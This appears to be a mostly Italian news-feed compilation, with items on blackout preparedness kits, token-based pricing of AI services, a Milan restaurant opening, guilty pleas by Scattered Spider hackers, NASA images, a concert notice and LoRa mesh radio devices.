Per molti si è trattato semplicemente di un disagio temporaneo: qualche ora senza luce, il condizionatore fermo e il frigorifero spento. Ma questi eventi rappresentano anche un’occasione per fermarsi a riflettere su un aspetto che spesso diamo per scontato: quanto dipendiamo dall’energia elettrica?

Fino a pochi decenni fa un’interruzione della corrente significava principalmente accendere una candela e attendere il ritorno dell’energia. Oggi la situazione è completamente diversa. La nostra vita quotidiana ruota attorno all’elettricità: lavoriamo da casa, comunichiamo attraverso Internet, paghiamo con strumenti elettronici, utilizziamo cancelli automatici, pompe dell’acqua, sistemi di allarme, elettrodomestici e dispositivi medici. Basta osservare una normale abitazione per rendersi conto di quanto ogni attività dipenda, direttamente o indirettamente, dalla presenza della corrente.

Naturalmente nessuno può affermare che questi blackout siano il segnale di un imminente collasso della rete elettrica italiana. Sarebbe una conclusione affrettata e priva di fondamento. Tuttavia è altrettanto vero che le reti di distribuzione stanno affrontando nuove sfide. Le estati sempre più calde comportano un utilizzo massiccio dei climatizzatori, gli eventi meteorologici estremi diventano più frequenti e molte infrastrutture, realizzate decenni fa, richiedono continui interventi di manutenzione e ammodernamento. In questo contesto è ragionevole aspettarsi che episodi di interruzione dell’energia possano verificarsi con maggiore frequenza rispetto al passato.

Il Sole 24 Ore spiega bene cosa sta accadendo, cosi come il Post.

La preparazione, però, non nasce dalla paura. Nasce dal buon senso.

Uno dei principi fondamentali del prepping consiste proprio nel prepararsi agli eventi più probabili, non necessariamente a quelli più catastrofici. Un blackout di alcune ore è infinitamente più probabile di molti altri scenari di cui spesso si parla sui social. Eppure sono proprio questi piccoli eventi a coglierci impreparati.

Provate ad immaginare una normale serata estiva. Fuori ci sono oltre trenta gradi, il sole è appena tramontato e improvvisamente tutta la casa rimane al buio. Il condizionatore si spegne, il Wi-Fi scompare, il cancello automatico non si apre più e la batteria del telefono è quasi scarica. Se l’interruzione dovesse protrarsi per qualche ora, anche il frigorifero inizierebbe lentamente a perdere la propria capacità di conservazione e molte persone inizierebbero a chiedersi semplicemente: “E adesso cosa faccio?”

Perché aumentano i blackout?

Le principali cause sono:

  • temperature sempre più elevate;
  • utilizzo contemporaneo di milioni di climatizzatori;
  • infrastrutture elettriche datate in alcune aree;
  • temporali, vento e alberi che danneggiano le linee;
  • guasti improvvisi alle cabine di trasformazione.

In molti casi non è la produzione di energia a mancare, ma è la rete di distribuzione locale ad andare in difficoltà.

Nota Ecologica

Caldo, blackout e città sempre più invivibili: non è un caso.

I cavi elettrici che portano energia nelle case passano sottoterra.

Quando aumenta l’uso dei condizionatori, si surriscaldano e devono disperdere più calore.

Il problema? Coprendo il suolo naturale con asfalto e cemento, nelle città le temperature salgono molto di più (a Torino oltre 65°C sull’asfalto). Questo impedisce ai cavi di raffreddarsi.

Risultato:

  • blackout
  • cibo che si rovina
  • allarmi che impazziscono
  • Persone fragili a rischio vita

E non finisce qui:

  •  Temperature più alte = nubifragi più violenti
  •  Strade, cantine e garage allagati
  •  Altri danni, altri costi.

Il punto è semplice: Il consumo di suolo non è progresso. Il È uno spreco che crea problemi reali per tutti. (nota personale a cura di Lavino Pasquale)

Cosa succede durante un blackout?

Molti pensano semplicemente:

“Si spegne la luce.”

In realtà gli effetti possono essere molto più ampi.

Ad esempio:

  • il frigorifero smette di raffreddare;
  • il congelatore inizia lentamente a scongelarsi;
  • modem e Wi-Fi si spengono;
  • cancelli elettrici potrebbero non aprirsi;
  • ascensori fuori servizio;
  • pompe dell’acqua ferme dove presenti;
  • POS e bancomat potrebbero non funzionare;
  • distributori di carburante temporaneamente inutilizzabili;
  • difficoltà nelle comunicazioni se le batterie delle antenne si esauriscono.

La differenza tra vivere questa situazione con tranquillità oppure con ansia spesso dipende da pochi semplici accorgimenti preparati in anticipo. Avere una torcia facilmente raggiungibile evita di cercare una candela al buio. Una power bank mantenuta carica consente di utilizzare il telefono anche dopo diverse ore. Una piccola radio portatile permette di ricevere informazioni nel caso in cui le reti dati risultino congestionate o temporaneamente non disponibili. Sono oggetti di uso comune, economici e facilmente reperibili, ma che acquistano un valore enorme proprio quando vengono realmente utilizzati.

Anche il comportamento durante un blackout può fare la differenza. Una delle prime reazioni istintive è quella di aprire continuamente il frigorifero per controllare il cibo. In realtà ogni apertura disperde il freddo accumulato, riducendo il tempo di conservazione degli alimenti. Se lo sportello rimane chiuso, un frigorifero moderno riesce generalmente a mantenere una temperatura sicura per circa quattro ore, mentre un congelatore pieno può conservare gli alimenti anche per uno o due giorni.

Frigo e Congelatore – la prima preoccupazione

in caso di disservizio elettrico (blackout), il frigorifero è l’elettrodomestico che occupa il primo posto nei nostri pensieri.
Per ovvie ragioni perderà relativamente velocemente la capacità di raffreddamento degli alimenti, così come quella di congelamento, la cosa sarà più celere nel momento in cui apriamo lo sportello.
Ebbene c’è una alternativa di backup anche per questo.
Il pozzetto congelatore ad apertura verticale lavora meglio.
Il frigorifero ha lo sportello ad apertura frontale, per tanto l’aria fredda incamerata, essendo più pesante e posizionata sul fondo della camera, ad ogni apertura uscirà completamente facendo entrare aria più calda.
Il pozzetto congelatore invece aprendosi verso l’alto mantiene più facilmente l’aria fredda incamerata, oltre a consumare meno corrente di un qualsiasi frigorifero.

Il dubbio spontaneo che sorge è: il pozzetto però congela! È possibile con qualche accorgimento intelligente adattarne l’uso come frigorifero.

Prima di tutto occorre procurarsi una presa termostata con sonda, quest’ultima andrà inserita all’interno del congelatore in modo da rilevare la temperatura.

La presa poi va collegata ad una power station in modo da alimentare il pozzetto in caso di blackout.

Impostare la temperatura della presa termostata sui 4°\6° che è orientativamente quella del frigorifero.

Collegare poi un pannello solare alla power station.

Come funziona il tutto? Il pozzetto comincerà a raffreddare, ma quando raggiungerà la temperatura impostata sulla presa, questa toglierà alimentazione fino a quando la temperatura del pozzetto non incomincia ad essere più alta di quella impostata

Le prime cose da fare

Quando manca la corrente:

  1. mantenere la calma
  2. verificare se il blackout riguarda solo casa propria
  3. controllare il contatore
  4. osservare se anche i vicini sono senza corrente
  5. evitare di aprire continuamente frigorifero e congelatore
  6. scollegare gli apparecchi elettronici più delicati
  7. lasciare accesa una sola luce per capire quando ritorna l’energia

Vale la pena ricordare anche che non tutti i sistemi di pagamento continuano a funzionare durante un’interruzione prolungata. Alcuni negozi potrebbero non riuscire ad utilizzare i terminali POS, i distributori di carburante potrebbero essere fuori servizio e perfino la rete telefonica, se il blackout dovesse protrarsi a lungo, potrebbe iniziare a risentirne con il progressivo esaurimento delle batterie di backup installate presso le stazioni radio base.

Per questo motivo l’Associazione Italiana Prepper invita da sempre a sviluppare una cultura della resilienza domestica. Non significa riempire il garage di attrezzature costose o immaginare scenari apocalittici. Significa semplicemente essere in grado di affrontare serenamente le prime ventiquattro o quarantotto ore di un imprevisto, riducendo lo stress e aumentando la sicurezza della propria famiglia.

Prepararsi ad un blackout è probabilmente una delle forme di prevenzione più semplici, economiche e concrete che ogni cittadino possa mettere in pratica. Una torcia, una radio, una riserva d’acqua, qualche alimento pronto al consumo e una fonte di energia portatile rappresentano un investimento minimo rispetto alla tranquillità che possono offrire quando tutto, improvvisamente, si spegne.

Il kit anti-blackout

L’Associazione Italiana Prepper consiglia di predisporre un piccolo kit dedicato.

Illuminazione

  • torcia LED
  • lampada ricaricabile
  • batterie di ricambio

Energia

  • power bank
  • batterie ricaricabili
  • caricatore da auto
  • power station

Comunicazioni

  • radio AM/FM
  • radio PMR446
  • telefono sempre carico

Alimentazione

  • acqua potabile
  • alimenti che non richiedono cottura

Sicurezza

  • candele (solo se utilizzate con attenzione)
  • fiammiferi
  • accendino

Comfort

  • ventilatore USB
  • ghiaccio sintetico per frigorifero
  • coperta termica (utile sia in inverno che in estate)

In fondo è proprio questa la filosofia del prepping: non aspettare che si verifichi un’emergenza per iniziare a chiedersi cosa sarebbe stato utile avere. Prepararsi prima significa affrontare dopo qualsiasi imprevisto con maggiore lucidità, sicurezza e consapevolezza. Perché la resilienza non si improvvisa nel momento del bisogno: si costruisce un piccolo passo alla volta, molto prima che si spengano le luci.

Box AIP – La Checklist del Blackout

Puoi affrontare serenamente 24 ore senza corrente?

  • ☐ Ho almeno due torce funzionanti.
  • ☐ Ho batterie di ricambio.
  • ☐ Ho una power bank sempre carica.
  • ☐ Ho una power station sempre carica.
  • ☐ Ho una radio a batterie.
  • ☐ Ho acqua potabile per almeno tre giorni.
  • ☐ Ho alimenti pronti al consumo.
  • ☐ Tutta la famiglia sa dove si trova il kit di emergenza.
  • ☐ So come aprire manualmente il cancello o il garage.
  • ☐ Ho salvato sul telefono i numeri utili del distributore di energia.

L'articolo Blackout sempre più frequenti: siamo davvero preparati? proviene da Associazione Italiana Preppers.

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Roman Telescope Comes to Kennedy

NASA’s Pegasus barge arrives at the Launch Complex 39 turn basin at the agency’s Kennedy Space Center in Florida carrying NASA’s Nancy Grace Roman Space Telescope on Sunday, June 21, 2026.

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L’economia dei token e il vero prezzo dell’intelligenza artificiale

Immagine in evidenza rielaborata con Intelligenza Artificiale

Negli ultimi mesi, molte delle aziende che avevano sottoscritto contratti con OpenAI o Anthropic hanno avuto una brutta sorpresa. Lo scorso aprile, la società di noleggio auto con conducente Uber ha per esempio scoperto di aver già bruciato tutto il budget annuale destinato all’intelligenza artificiale. Una situazione simile si è verificata anche dalle parti del gigante dei supermercati Walmart, che ha introdotto in tutta fretta un limite all’utilizzo dei large language model da parte dei suoi dipendenti.

Un’azienda rimasta anonima avrebbe invece speso 500 milioni di dollari in un solo mese a causa dell’utilizzo sfrenato di Claude da parte dei suoi dipendenti, mentre persino un colosso come Meta ha imposto dei limiti all’utilizzo dei sistemi d’intelligenza artificiale generativa, come hanno fatto anche Amazon, AT&T, Brex e numerose altre società.

Che cos’è successo? Non eravamo nell’epoca del tokenmaxxing, ovvero la gara a chi usa di più l’intelligenza artificiale all’interno delle aziende? Per capire come mai la situazione sia cambiata così rapidamente basta sapere che, nel corso della prima metà del 2026, OpenAI e Anthropic hanno entrambi cambiato le condizioni dei contratti aziendali: non più una tariffa fissa anche per usare i loro sistemi più avanzati e specialistici, ma una tariffa a consumo – basata sulla quantità di “token” elaborati dai vari ChatGPT Codex, Claude Cowork e altri ancora – che ha fatto esplodere i costi in maniera imprevista.

E così, praticamente da un giorno all’altro, i token – oggetto fino a poco fa noto soltanto agli addetti ai lavori – sono diventati uno degli argomenti più discussi dai manager di mezzo mondo. A questo punto, fermiamoci un secondo: che cosa sono i token?

Che cosa sono i token, i mattoni alla base dei large language model

In sintesi estrema, i token sono l’unità di testo fondamentale che i modelli linguistici elaborano quando leggono, interpretano o generano informazioni. Nella maggior parte dei casi, un token non equivale a una parola, ma a una porzione di essa (in inglese, in media, quattro caratteri). Può però anche essere un segno di punteggiatura, uno spazio o un carattere speciale. Nel momento in cui un modello deve elaborare la frase “il gattino sta dormendo sul divano?”, la scompone in token con una forma simile a “il / gatt / ino / sta / dorm / endo / sul / divano / ?”.

Ogni volta che un modello linguistico elabora una forma testuale, indipendentemente dall’obiettivo o dalle mansioni per cui è impiegato, sta quindi elaborando una sequenza di token: li trasforma in rappresentazioni numeriche, li confronta con il contesto già ricevuto e calcola quale token abbia maggiore probabilità di venire dopo. È così che risponde a una domanda, riassume un documento, scrive codice o traduce una frase: non “capendo” le parole, ma prevedendo la sequenza di token più coerente con ciò che gli è stato chiesto. È il meccanismo noto come “next token prediction”.

Un po’ come il consumo elettrico si calcola in kilowattora o il traffico internet in gigabyte, il lavoro svolto da un’intelligenza artificiale generativa si misura in token. Con una differenza: il consumo effettivo può crescere molto rapidamente, perché non dipende solo dalla lunghezza della richiesta o della risposta finale, ma anche dalla quantità di informazioni che il modello deve leggere prima di produrla. Una domanda posta all’inizio di una chat con Claude consumerà quindi meno token della stessa domanda inserita in una lunga conversazione, perché il “contesto” che il modello linguistico deve analizzare è, nel primo caso, molto più ridotto.

Un ultimo elemento importante è che i token sono elementi linguistici nel caso degli LLM, mentre nei modelli che generano immagini possono corrispondere a porzioni di immagine, nei modelli audio a frammenti di suono, nei modelli video a sequenze di informazioni che combinano immagini, movimento e durata. Il principio però resta lo stesso: qualunque sia il contenuto generato — testo, voce, musica, immagini o video — il modello non lo elabora come un blocco unico, ma lo scompone in unità più piccole, le trasforma in numeri e lavora su quelle.

Un altro aspetto importante è che nel corso degli anni, grazie alla crescente efficienza dei modelli, il costo dei token è crollato: se nel 2023 il prezzo di un LLM come GPT-4 era di 30 dollari per milione di token in fase di input (quindi il testo che inseriamo noi) e di 60 dollari in output (quindi quello generato dall’AI), oggi GPT-5.5 costa rispettivamente 5 e 30 dollari. Secondo alcune stime, dal 2020 al 2026 i prezzi medi per token sono calati addirittura di 600 volte.

La paradossale economia dei token

Ma se il prezzo dei token è crollato – e possiamo sostenere che sia sceso significativamente anche per le società che sviluppano LLM, pur in assenza di dati trasparenti a riguardo – com’è possibile che il passaggio a una tariffa a consumo abbia fatto esplodere i costi, al punto da consumare in pochi mesi l’intero budget annuale di Uber e costringere Meta a limitare l’uso dell’intelligenza artificiale in ufficio?

La ragione è duplice. Da una parte, i modelli più avanzati e basati su “ragionamento” – che scompongono la richiesta in più passaggi – consumano molti più token delle loro controparti tradizionali (e spesso forniscono risposte più lunghe). Dall’altra, la diffusione dei modelli linguistici e il loro utilizzo spesso intensivo (e non mirato) hanno provocato un enorme aumento dei token da elaborare. Un singolo dipendente che usa ogni giorno un modello di frontiera può quindi consumare molti più token rispetto anche solo a due anni fa.

Unendo questi due aspetti, si capisce perché Google – come spiegato dal CEO Sundar Pichai – sia passato in un trimestre da 10 a 16 miliardi di token elaborati ogni minuto. OpenAI ha invece dichiarato che la sua piattaforma API (cioè l’infrastruttura attraverso cui aziende e sviluppatori collegano i propri software ai modelli di OpenAI) è passata da 6 a oltre 15 miliardi di token al minuto tra l’autunno 2025 e la primavera 2026, dopo essere già cresciuta di circa venti volte nei due anni precedenti.

Questa impennata del consumo di token è stata a lungo nascosta dalle tariffe fisse ed è invece improvvisamente diventata evidente con il passaggio a una tariffazione a consumo: “L’intelligenza artificiale è oggi la voce di spesa che sta aumentando più rapidamente dei budget aziendali”, si legge in un report Deloitte di inizio anno. “Alcune società hanno affermato che oggi l’AI consuma fino alla metà della loro spesa in tecnologie dell’informazione. Nonostante il prezzo unitario dei token stia calando, la spesa complessiva delle aziende per i sistemi di intelligenza artificiale, e la loro scala di utilizzo, stanno aumentando. Il numero di utenti, la complessità dei modelli e l’intensità dei carichi di lavoro porteranno probabilmente a un maggiore consumo di token e, di conseguenza, a costi più elevati”.

Il passaggio a una fatturazione a consumo è probabilmente il principale responsabile dell’impennata del fatturato di Anthropic, passato dai 4,8 miliardi di dollari del primo trimestre 2026 ai 10,9 miliardi attesi per il secondo trimestre. Sarà però interessante capire che cosa succederà nel trimestre ancora successivo, quando i manager delle aziende avranno definitivamente fatto i conti con le spese fuori controllo per utilizzare Claude Code, Cowork o gli altri sistemi avanzati di Anthropic: “I costi della computazione sono ormai diventati una priorità per i direttori finanziari e per i consigli d’amministrazione”, ha spiegato al Financial Times Costi Perricos, responsabile AI di Deloitte. “[OpenAI e Anthropic] hanno insegnato a utenti e aziende che l’intelligenza artificiale fosse economica o addirittura gratis, ma le cose non stanno affatto così”.

Carter Busse, dirigente della società di software Workato, ha raccontato sempre al Financial Times come l’utilizzo dell’intelligenza artificiale sia esploso tra i suoi dipendenti non appena hanno iniziato a sfruttare gli agenti AI. La brutta sorpresa è arrivata alla prima fattura a consumo di Anthropic: “La nostra spesa è salita improvvisamente di 7 volte e ho pensato: ‘merda, abbiamo creato un mostro’”, ha spiegato Busse, che adesso sta spronando i suoi dipendenti a usare modelli più economici e in modo più responsabile. Ancora più preoccupanti per i colossi dell’intelligenza artificiale sono le dichiarazioni del presidente di Cisco Jeetu Patel: “Il costo dei token è molto più elevato dell’effettivo valore che essi generano su larga scala”.

Il vicolo cieco di OpenAI e Anthropic

Nel momento in cui le aziende iniziano a sobbalzare di fronte alle bollette e a domandarsi se il gioco valga la candela, OpenAI e Anthropic si trovano di fronte a quello che lo stesso Sam Altman ha definito “un enorme problema”. E come si risolve questo problema? Stando alle indiscrezioni, nell’unico modo (per ora) possibile: tagliando i prezzi pur di non perdere clienti, come starebbe per fare OpenAI anticipando una possibile mossa di Anthropic in questa stessa direzione.

Come ha riassunto Ed Zitron sul suo blog, “sono passati meno di tre mesi da quando le aziende hanno iniziato a pagare il vero costo dei servizi basati su LLM e sono già così chiaramente infuriate che sia Anthropic sia OpenAI stanno pianificando di tagliare il prezzo dei loro servizi già in perdita, facendo probabilmente crollare il fatturato mentre aumentano i costi complessivi”.

Il rischio è che i due colossi dell’intelligenza artificiale generativa si trovino alle prese con la più classica alternativa del diavolo: se non tagliano i prezzi, le aziende potrebbero ridurre l’impiego dei modelli linguistici (e come abbiamo visto, parecchie l’hanno già fatto). Se tagliano i prezzi, riducono gli introiti di società già oggi in rosso per decine di miliardi di dollari l’anno.

E qui si crea un secondo vicolo cieco: se le aziende tagliano l’uso dell’AI generativa, a cosa serviranno i 190 gigawatt di capacità elettrica per data center già pianificati, in una corsa globale che secondo McKinsey potrebbe richiedere investimenti fino a 7mila miliardi di dollari entro il 2030? E se invece OpenAI e Anthropic devono tagliare i loro prezzi per non perdere clienti aziendali, come faranno a rispettare i contratti da centinaia e centinaia di miliardi di dollari che hanno sottoscritto con Microsoft, Amazon, Google, CoreWeave e altri fornitori di potenza di calcolo?

Quanto pagheresti per usare ChatGPT?

A questo punto, viene da chiedersi che cosa potrebbe succedere se anche noi utenti comuni di ChatGPT e Claude fossimo costretti a pagare una tariffa a consumo invece di quelle fisse, che per gli usi più intensivi coprono solo una piccola parte dei costi reali.

In verità, qualcosa del genere si sta già verificando. A partire da giugno 2026, gli utenti di GitHub Copilot – ovvero l’assistente AI per scrivere codice collegato alla piattaforma per la condivisione di progetti software di proprietà di Microsoft – sono passati da un abbonamento fisso mensile a un sistema di fatturazione legato anche al consumo di token. Secondo quanto riporta un utente, il prezzo da lui pagato potrebbe salire da 29 fino a 750 dollari al mese; un altro segnala che nel suo caso il costo potrebbe schizzare fino a 3mila dollari.

Attenzione, perché una parte della responsabilità va attribuita al cosiddetto “vibe-coding”, ovvero la scrittura di codice in cui tutti i passaggi tecnici sono affidati all’intelligenza artificiale, aumentando drasticamente il consumo di token. Difficile però incolpare i “vibe-coders” per il loro uso indiscriminato di Copilot, visto che è stata proprio Microsoft a incoraggiarlo e adesso invece lo punisce con bollette fuori controllo.

E se anche OpenAI e Anthropic, conclusa la guerra al ribasso per conquistare gli utenti, dovessero decidere di far pagare i token in base al consumo? È qualcosa che, in realtà, potrebbe avvenire in un futuro non troppo distante, vista la probabile quotazione in borsa di entrambe e la conseguente necessità di ridurre le stratosferiche perdite (per colmare le quali hanno dovuto raccogliere finanziamenti tra i più elevati della storia) e mostrare bilanci in miglioramento.

A questo punto, la domanda sorge spontanea: quanto dovremmo pagare per usare gli strumenti d’intelligenza artificiale se non avessimo a disposizione tariffe fisse tenute artificialmente basse? Una possibile risposta ce la fornisce una simulazione condotta dalla società di analisi SemiAnalysis. Secondo queste stime, il “vero prezzo” (inteso come il prezzo che pagheremmo se fossimo soggetti ad abbonamenti a consumo pari a quelli delle API) di un abbonamento a ChatGPT da 20 dollari al mese potrebbe arrivare fino a 700 dollari, mentre un abbonamento Pro da 200 dollari può raggiungere anche 14mila dollari (situazione simile per Anthropic).

Il vantaggio della Cina

Il problema, insomma, è sempre lo stesso: l’intelligenza artificiale generativa costa troppo e un modello di business sostenibile non è ancora all’orizzonte. È una situazione che riguarda però soprattutto i più avanzati modelli di frontiera sviluppati negli Stati Uniti. E che potrebbe invece avvantaggiare l’ecosistema AI della Cina.

Il segnale più evidente arriva sempre dal consumo di token. Secondo i dati di OpenRouter, a giugno i tre modelli più utilizzati per quantità di token elaborati sono tutti cinesi: MiMo di Xiaomi, MiniMax e DeepSeek. È un segnale di come una quota crescente dell’uso degli LLM – a partire da quello che avviene all’interno di applicazioni, strumenti di lavoro, agenti e servizi aziendali – si stia spostando verso i più economici modelli made in China.

Ad avvantaggiare la Cina è un mix di fattori, tra cui troviamo l’energia meno cara, i data center più economici, le infrastrutture sostenute dallo stato, l’aggressiva concorrenza interna e il fatto che i modelli siano spesso progettati per consumare meno, grazie a scelte di architettura informatica e anche a causa delle restrizioni che impediscono alla Cina di avere accesso ai chip più avanzati. Il vantaggio cinese diventa ancora più evidente guardando i prezzi: i modelli cinesi più usati costano infatti una frazione dei modelli di punta di OpenAI e Anthropic.

Il prezzo per milione di token è però solo una parte del costo reale. Come ha spiegato il ricercatore indipendente Wong Qi Han a CNA, se un modello sbaglia spesso e quindi richiede più tentativi, funziona peggio in una lingua straniera, ha maggiore latenza o pone problemi di sicurezza e compliance, il risparmio iniziale può essere illusorio. In linea teorica, la metrica decisiva non dovrebbe essere il costo per milione di token, ma quanto spendiamo per ottenere un risultato soddisfacente (per gli utenti comuni) o il ritorno sull’investimento (per le aziende). Il problema è che entrambe queste metriche sono estremamente difficili da misurare.

È possibile che i più costosi modelli statunitensi continueranno a essere usati per le attività complesse, mentre quelli cinesi potrebbero conquistare la fascia più ampia del mercato, quella degli usi quotidiani come supporto professionale o assistente personale.

Tutto è bene quel che finisce bene? Non è detto. Per la Cina, il rischio principale è l’eccessiva concorrenza sui prezzi e la compressione dei margini, che potrebbe mettere a rischio la profittabilità di DeepSeek e compagni. Per gli Stati Uniti, il rischio è invece che essere esclusi (a causa dei prezzi elevati) dalla massa dei casi d’uso quotidiani e ad alto volume causerebbe non tanto (o non solo) una riduzione dei potenziali ricavi, ma potrebbe provocare soprattutto una riduzione della potenza di calcolo necessaria.

Considerando le cifre immense che stanno venendo investite in GPU, cloud e data center, ritrovarsi con una richiesta di potere computazionale inferiore alle attese potrebbe trasformare l’attuale corsa alle infrastrutture in un enorme azzardo finanziario. E a quel punto, la temuta bolla dell’intelligenza artificiale potrebbe scoppiare per davvero.

L'articolo L’economia dei token e il vero prezzo dell’intelligenza artificiale proviene da Guerre di Rete.

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Milano si rifà il look nel verde: nasce “Cascina Corten”, il nuovo polo poliedrico del gusto a Cascina Merlata Spazio Vivo

Un’oasi cittadina di condivisione che unisce caffetteria, ristorante gourmet con cucina a
vista, pizzeria d’autore e aree esperienziali per famiglie e amanti del relax.


MILANO – Nel cuore pulsante di uno dei quartieri a maggior sviluppo e dinamismo della
città, apre ufficialmente i battenti Cascina Corten, la nuova realtà culinaria ed esperienziale
all’interno di Cascina Merlata Spazio Vivo.
Uno spazio poliedrico e multifunzionale di ampio respiro,
pensato per accogliere i cittadini in ogni momento della giornata, dalle prime luci del
mattino fino a tarda notte.


La struttura nasce con una missione precisa: offrire un’esperienza gastronomica raffinata,
flessibile e accessibile, capace di far sentire ogni ospite come a casa propria, immerso in
una suggestiva cornice verde.


Dalla colazione alla cena: il ritmo della giornata a Cascina Corten
La proposta si adatta fluidamente alle esigenze di una clientela diversificata e dinamica:
● Il Mattino (dalle 07:00): Una colazione curata, con una selezione di caffetteria
nazionale e internazionale per iniziare la giornata con il piede giusto.

● Il Pranzo: Soluzioni rapide, gustose e di alta qualità, pensate specificamente per i
professionisti e i lavoratori dei vicini uffici della zona.

● L’Aperitivo al Tramonto: Un’atmosfera conviviale in cui rilassarsi con un drink,
incontrando amici e parenti tra una chiacchiera e l’altra.

● La Cena e la Pizzeria: Una proposta attenta alle tradizioni culinarie ma aperta
all’innovazione, arricchita da un’elegante pizzeria. Al primo piano, gli ospiti potranno
vivere l’esperienza di un ristorante gourmet.

● Brunch: Un appuntamento fisso per rigenerarsi nel weekend, che unisce il calore
della tradizione ai trend internazionali. Una proposta ricca e flessibile che spazia
dalle dolci tentazioni della pasticceria artigianale a piatti salati ricercati, uova
preparate al momento e sfiziosità gourmet.


Un design ripensato tra interno ed esterno.
Il progetto ha previsto una profonda riorganizzazione della struttura, valorizzando sia gli
spazi interni che le ampie aree verdi esterne:
● Interni Luminosi ed Eleganti: Ambienti moderni tinti con tonalità pastello,
illuminazione LED e un grande bancone multifunzionale in materiali naturali.

● Primo Piano: La zona pizzeria è stata impreziosita da una struttura interamente in
vetro che la rende visibile e attrattiva anche dall’esterno.

● Le Aree Esterne Modulari: Un piazzale con gazebi rimovibili per gli eventi all’aperto,
una zona relax sul prato con divanetti e pouf , e un’innovativa area “mare” con
ombrelloni e fondo parzialmente sabbioso per ricreare un’atmosfera balneare in
piena città.


Strizza l’occhio alle famiglie
Cascina Corten si distingue nettamente nel panorama locale per l’estrema
personalizzazione del servizio (dalle insalate su misura alle pizze componibili) e per una
spiccata attenzione al mondo kids.

CASCINA CORTEN
Via Pier Paolo Pasolini 3 – Milano
Info e Prenotazioni : +39 393 727 7522
https://cascinacorten.it/
info@cascinacorten.it

Orari di apertura
Lunedì – Giovedì 07:00 – 24:00
Venerdì – Sabato 07:00 – 01:00
Domenica 07:00 – 24:00

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Scattered Spider Hackers Plead Guilty on Day 1 of Trial

Two men pleaded guilty in the United Kingdom this week to criminal charges stemming from an August 2024 cyberattack that crippled Transport for London, the entity responsible for the public transport network in the Greater London area. The duo were key members of a prolific cybercrime group known as Scattered Spider, and their guilty pleas came on the first day of what was expected to be a six-week trial.

Owen Flowers (left) 18, and Thalha Jubair, 20. Image: UK National Crime Agency (NCA).

Thalha Jubair, 20, of East London and 18-year-old Owen Flowers of Walsall admitted conspiring to commit unauthorized acts against Transport for London computer systems and causing risk of serious damage to human welfare. According to a report from the BBC, Flowers alone admitted to being part of a conspiracy to hack into U.S. based healthcare providers SSM Health Care Corporation and Sutter Health in September 2024.

Jubair is also wanted by U.S. law enforcement agencies. In September 2025, prosecutors in New Jersey unsealed an indictment alleging Jubair and other Scattered Spider members committed computer fraud, wire fraud, and money laundering in relation to 120 computer network intrusions involving 47 U.S. entities between May 2022 and September 2025, and that the group’s victims paid at least $115 million in ransom payments.

In July 2025, KrebsOnSecurity reported that Flowers and Jubair were arrested in the United Kingdom in connection with Scattered Spider ransom attacks against the retailers Marks & Spencer and Harrods, and the British food retailer Co-op Group. Multiple sources familiar with those investigations said Flowers was the Scattered Spider member who anonymously gave interviews to the media in the days after the group’s September 2023 ransomware attacks disrupted operations at Las Vegas casinos operated by MGM Resorts and Caesars Entertainment.

According to prosecutors, Jubair co-ran a bustling Telegram channel called Star Chat, the home of a SIM-swapping group that used voice- and SMS-based phishing attacks to steal credentials from employees at the major wireless providers in the U.S. and U.K. The group would then use that access to sell a service that could redirect a target’s phone number to a device the attackers controlled and intercept the victim’s calls and text messages (including one-time codes for multi-factor authentication).

A receipt from Star Fraud Chat’s SIM-swapping service targeting a T-Mobile customer after the group gained access to internal T-Mobile employee tools. “Rocket Ace” was one of Jubair’s hacker handles, according to U.S. prosecutors.

New Jersey prosecutors also allege Jubair also was involved in a mass SMS phishing campaign during the summer of 2022 that stole single sign-on credentials from employees at hundreds of companies. That weeks-long SMS phishing campaign led to intrusions and data thefts at more than 130 organizations, including LastPassDoorDashMailchimpPlex and Signal.

KrebsOnSecurity reported last year that one of Jubair’s alter egos at age 15 was “Everlynn,” a hacker who sold fraudulent “emergency data requests” that used compromised police and government email addresses to demand subscriber data (e.g. username, IP/email address) from major tech companies, claiming the requests concerned urgent matters of life and death and could not wait for a court order.

In April 2026, 24-year-old British national and Scattered Spider member Tyler “Tylerb” Buchanan pleaded guilty to wire fraud conspiracy and aggravated identity theft for participating in the group’s SMS phishing spree in the summer of 2022. The government said Buchanan, Jubair and others used the credentials harvested in that phishing campaign to steal at least $8 million in cryptocurrency from victims throughout the United States. Buchanan is currently scheduled to be sentenced on October 2.

In August 2025, 20-year-old Scattered Spider member from Florida named Noah Michael Urban was sentenced to 10 years in federal prison and ordered to pay $13 million in restitution, after pleading guilty to charges of wire fraud and conspiracy.

The U.S. Department of Justice says three alleged Scattered Spider defendants indicted along with Buchanan still face charges, including Ahmed Hossam Eldin Elbadawy, 24, a.k.a. “AD,” of College Station, Texas; Evans Onyeaka Osiebo, 21, of Dallas, Texas; and Joel Martin Evans, 26, a.k.a. “joeleoli,” of Jacksonville, North Carolina.

Flowers and Jubair are slated to be sentenced in a London court on July 15, 2026.

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Hanging in the Balance

The Moon's rocky, uneven, and otherworldly surface features are highlighted by the terminator – the difference between light and darkness.

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CANTA STORIE: Alessio Lega in concerto con Rocco Marchi

Sabato 27 giugnopresso Teatrofficina Refugioore 21.30CANTA STORIEALESSIO LEGAIN CONCERTOcon ROCCO MARCHI dalle 20 cena evento a cura diFederazione Anarchica Livornese Una serata con Alessio Lega per cantare storie d’amore e di anarchia, storie che la storia ha voluto schiacciare e non ci è riuscita, storie di personaggi improbabili che non si sono mai arresi, storie […]
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Dalla banca allo smartphone: come cambia l’accesso al credito digitale

Prestiti, come cambia l'accesso al credito - Foto fpai
La digitalizzazione dei servizi finanziari ha trasformato il modo in cui i consumatori valutano e richiedono un prestito. Comparatori online, simulazioni digitali e piattaforme di credito rendono il processo più rapido e accessibile, aiutando gli utenti a confrontare costi, condizioni e sostenibilità delle diverse soluzioni disponibili.

L'articolo Dalla banca allo smartphone: come cambia l’accesso al credito digitale proviene da FullPress.

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Ho provato 3 dispositivi Seeed Studio per la rete mesh! Ecco come funzionano

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In questo video vi porto alla scoperta di tre interessanti dispositivi Seeed Studio dedicati alle comunicazioni LoRa off-grid. Analizzeremo il design, le caratteristiche tecniche, le funzionalità, la configurazione iniziale e le possibili applicazioni nel mondo delle comunicazioni senza rete cellulare.
Questi dispositivi sono ideali per escursioni, campeggio, radioamatori, attività outdoor e per chi desidera realizzare una rete mesh indipendente da Internet. I modelli Wio Tracker L1 Pro sono disponibili preinstallati sia con firmware Meshtastic sia con MeshCore, mentre il SenseCAP T1000-E è un tracker ultracompatto pensato per reti LoRa.
#seeedstudio #meshtastic #meshcore

